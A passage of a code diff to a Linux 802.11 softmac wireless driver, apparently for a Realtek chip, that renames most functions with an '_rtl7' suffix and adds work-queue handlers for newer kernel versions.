sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1095,14 +1112,13 @@ } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1128,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1136,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1161,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1179,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1217,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1235,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1249,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1301,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1359,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1376,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1402,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1416,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1426,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1445,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1470,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1478,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1513,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1536,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1547,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1575,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1590,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1627,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1660,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1679,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1687,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1707,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1727,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1740,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1755,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1767,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1782,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1795,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1813,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1821,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1831,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1858,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1875,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1925,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1937,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1951,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1961,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; @@ -1986,12 +2018,12 @@ */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); spin_lock_irqsave(&ieee->lock, flags); if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -1999,14 +2031,14 @@ up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_probe_resp(ieee, broadcast_addr); + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); if (!skb) return NULL; @@ -2018,12 +2050,12 @@ } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if(!skb) return NULL; @@ -2038,44 +2070,44 @@ return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; ieee->proto_started = 0; - ieee80211_stop_send_beacons(ieee); + ieee80211_stop_send_beacons_rtl7(ieee); del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; @@ -2094,9 +2126,7 @@ if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2109,21 +2139,18 @@ */ if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); @@ -2143,7 +2170,7 @@ ieee->ps = 